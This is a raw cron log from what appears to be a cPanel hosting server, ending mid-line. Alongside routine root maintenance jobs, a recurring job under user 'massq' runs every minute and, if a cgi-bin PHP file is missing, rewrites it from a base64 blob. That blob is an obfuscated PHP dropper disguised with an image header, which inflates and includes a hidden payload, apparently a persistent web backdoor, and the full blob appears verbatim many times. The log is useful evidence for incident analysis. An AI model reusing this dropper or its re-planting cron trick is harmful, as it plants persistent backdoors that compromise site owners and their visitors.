Aug 31 11:50:01 server CROND[29068]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:50:01 server CROND[29069]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 11:50:01 server CROND[29071]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:50:01 server CROND[29072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:50:01 server CROND[29070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:50:01 server CROND[29067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:51:01 server CROND[29912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:51:01 server CROND[29913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:51:01 server CROND[29914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:52:01 server CROND[30292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:52:01 server CROND[30294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:52:01 server CROND[30293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:53:01 server CROND[30762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:53:01 server CROND[30763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:53:01 server CROND[30764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:54:01 server CROND[31145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:54:01 server CROND[31146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:54:01 server CROND[31147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:55:01 server CROND[31525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:55:01 server CROND[31526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:55:01 server CROND[31529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:55:01 server CROND[31532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:55:01 server CROND[31533]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:55:01 server CROND[31531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:55:01 server CROND[31530]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:56:01 server CROND[32395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:56:01 server CROND[32396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:56:01 server CROND[32397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:57:01 server CROND[321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:57:01 server CROND[322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:57:01 server CROND[323]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 11:57:01 server CROND[324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:58:01 server CROND[817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:58:01 server CROND[818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:58:01 server CROND[819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:59:01 server CROND[1332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:59:01 server CROND[1333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:59:01 server CROND[1334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:00:01 server CROND[1731]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Aug 31 12:00:01 server CROND[1733]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:00:01 server CROND[1735]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 12:00:01 server CROND[1736]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:00:01 server CROND[1741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:00:01 server CROND[1738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:00:01 server CROND[1737]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:00:01 server CROND[1740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:00:01 server CROND[1742]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 12:00:01 server CROND[1745]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:00:01 server CROND[1739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:01:01 server CROND[2782]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 12:01:01 server CROND[2783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:01:01 server CROND[2784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:01:01 server CROND[2785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespL